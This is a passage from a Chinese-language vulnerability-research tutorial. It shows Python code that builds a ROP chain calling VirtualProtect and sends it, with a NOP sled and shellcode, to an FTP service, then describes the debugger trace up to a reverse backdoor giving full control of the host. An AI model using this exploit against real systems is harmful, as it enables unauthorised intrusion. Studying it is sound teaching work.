rop += struct.pack('<L',0x7c34373a) # pop ebx
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # inc ebx
rop += struct.pack('<L',0x7c352174) # add ebx,eax
rop += struct.pack('<L',0x7c344efe) # pop edx
rop += struct.pack('<L',0xffffffc0) # 0x40h
rop += struct.pack('<L',0x7c351eb1) # neg edx
rop += struct.pack('<L',0x7c36ba51) # pop ecx
rop += struct.pack('<L',0x7c38f2f4) # &writetable
rop += struct.pack('<L',0x7c34a490) # pop edi
rop += struct.pack('<L',0x7c346c0b) # ret (rop nop)
rop += struct.pack('<L',0x7c352dda) # pop esi
rop += struct.pack('<L',0x7c3415a2) # jmp [eax]
rop += struct.pack('<L',0x7c34d060) # pop eax
rop += struct.pack('<L',0x7c37a151) # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed) # jmp esp 原始EIP地址
sock.send(command + buffer + rop + nops + buf)
sock.close()
此时我们回到被攻击主机,并通过x64DBG
附加调试FTP服务程序,然后手动在第一条链上下断点0x7c349614
然后运行攻击脚本,观察堆栈的变化。
如下图就是运行后的堆栈,你可以清晰的看到堆栈,栈顶的41414141
就是我们填充的合法指令,而接着下方就是我们构建的ROP链,当执行完这条链的时候此时的当前的堆栈就会被赋予可执行权限;
最后调用0x625011ed
也就是jmp esp
跳转到下方连续的0x90
NOP垫片位置,此时当垫片被执行完毕,就会顺利的执行我们所布置好的ShellCode
反弹后门。
继续跟随,Nop垫片结束后则滑向ShellCode后门代码片段,则此时后门就被顺利运行了,如下图所示;
通过按下F9让程序直接运行起来,此时回到攻击主机,则此时会看到我们已经拿到了主机的完整控制权;
至此笔者已经展示了漏洞挖掘的具体实现细节,在真正的漏洞挖掘场景中其思路与上述案例完全一致,本案例也仅仅只是让读者能够理解漏洞的产生,以及如何挖掘,并以此揭秘读者心中的疑惑。 同时在实际的漏洞挖掘中,读者也需要遵循一些基本的原则,例如:
总之,漏洞挖掘是一项需要技术和经验的工作,需要不断学习和实践,才能取得好的成果,也希望读者能多多实践,早日成为漏洞挖掘专业人士;